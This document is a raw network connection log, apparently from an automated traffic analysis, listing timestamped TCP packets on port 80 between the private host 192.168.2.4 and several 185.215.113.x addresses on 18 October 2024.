Oct 18, 2024 15:04:58.768723011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768723965 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.768739939 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768758059 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.768788099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768804073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768807888 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.768821001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768836975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768871069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768887997 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768903017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768919945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768935919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768951893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769004107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769004107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769004107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769011974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769030094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769043922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769095898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769095898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769125938 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769141912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769155979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769171953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769186974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769196987 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769196987 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769202948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769218922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769236088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769269943 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769269943 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769454002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769469976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769490004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769505024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769520998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769535065 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769536018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769556046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769572973 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769587994 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769587994 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769587994 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769598961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769613981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769642115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769654036 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769661903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769679070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769706011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769721031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769726038 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769740105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769754887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769761086 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769761086 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769776106 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769820929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769835949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769841909 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769850969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769867897 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769884109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769886971 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769896984 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769933939 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.769949913 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769965887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.769993067 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770009041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770026922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770041943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770056963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770068884 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770070076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770076990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770097017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770113945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770136118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770136118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770297050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770313025 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770328999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770344019 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770345926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770364046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770380974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770381927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770404100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770425081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770442009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770458937 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770476103 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770493031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770507097 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770507097 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770507097 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770507097 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770534992 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770596981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770612955 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770627022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770647049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770663023 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770678043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770678043 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770694017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770694971 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770711899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770730019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770756006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770772934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770800114 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770800114 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770800114 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770802021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770821095 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770842075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770855904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.770858049 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.770899057 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.787488937 CEST	50044	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:58.829294920 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.093266964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.107990980 CEST	50049	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:59.311487913 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.311507940 CEST	80	50049	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:59.311609030 CEST	50049	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:59.311810970 CEST	50049	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:59.316651106 CEST	80	50049	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:59.498142958 CEST	80	50048	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:59.499870062 CEST	50048	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:59.586225986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586242914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586258888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586291075 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.586308956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586333036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586350918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586365938 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586381912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586397886 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586402893 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.586402893 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.586416960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586431980 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.586446047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586488008 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.586509943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586524963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586539030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586570978 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.586585045 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.586611032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586636066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586652040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586666107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586682081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586702108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586719036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586822033 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586837053 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.586838007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586837053 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.586837053 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.586854935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586873055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.586927891 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.586927891 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.586996078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587012053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587028027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587045908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587050915 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587080956 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587116003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587131977 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587241888 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587430000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587445021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587460041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587477922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587501049 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587501049 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587542057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587557077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587572098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587589025 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587605953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587609053 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587625027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587641954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587666988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587682009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587691069 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587691069 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587696075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587713003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587723970 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587728977 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587745905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587762117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587770939 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587770939 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587789059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587814093 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587830067 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587846041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587860107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587876081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587893963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.587897062 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587897062 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587897062 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587984085 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.587984085 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.588046074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588061094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588074923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588089943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588104963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588140965 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.588140965 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.588151932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588167906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588181973 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588197947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588212967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588228941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588247061 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588262081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588278055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.588282108 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.588282108 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.588283062 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.588283062 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.588534117 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.706334114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706401110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706417084 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706535101 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.706557035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706574917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706589937 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706607103 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706609011 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.706624031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706640959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706657887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706657887 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.706672907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706696987 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.706698895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706710100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.706713915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706739902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706756115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706770897 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706772089 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.706783056 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.706787109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706801891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706815958 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706831932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706845999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.706845999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.706856966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706875086 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706883907 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.706892014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706907988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706923962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706939936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706954956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706974030 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.706974030 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.706983089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.706999063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707000971 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707015991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707036018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707046032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707055092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707070112 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707072973 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707091093 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707103014 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707119942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707143068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707159042 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707175016 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707180977 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707180977 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707190990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707216978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707231998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707231998 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707254887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707294941 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707305908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707328081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707344055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707359076 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707375050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707402945 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707402945 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707402945 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707408905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707425117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707451105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707458019 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707467079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707482100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707520962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707537889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707555056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707575083 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707575083 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707575083 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707604885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707623005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707670927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707678080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707693100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707707882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707724094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707741022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707834959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707839966 CEST	50042	80	192.168.2.4	185.215.113.103
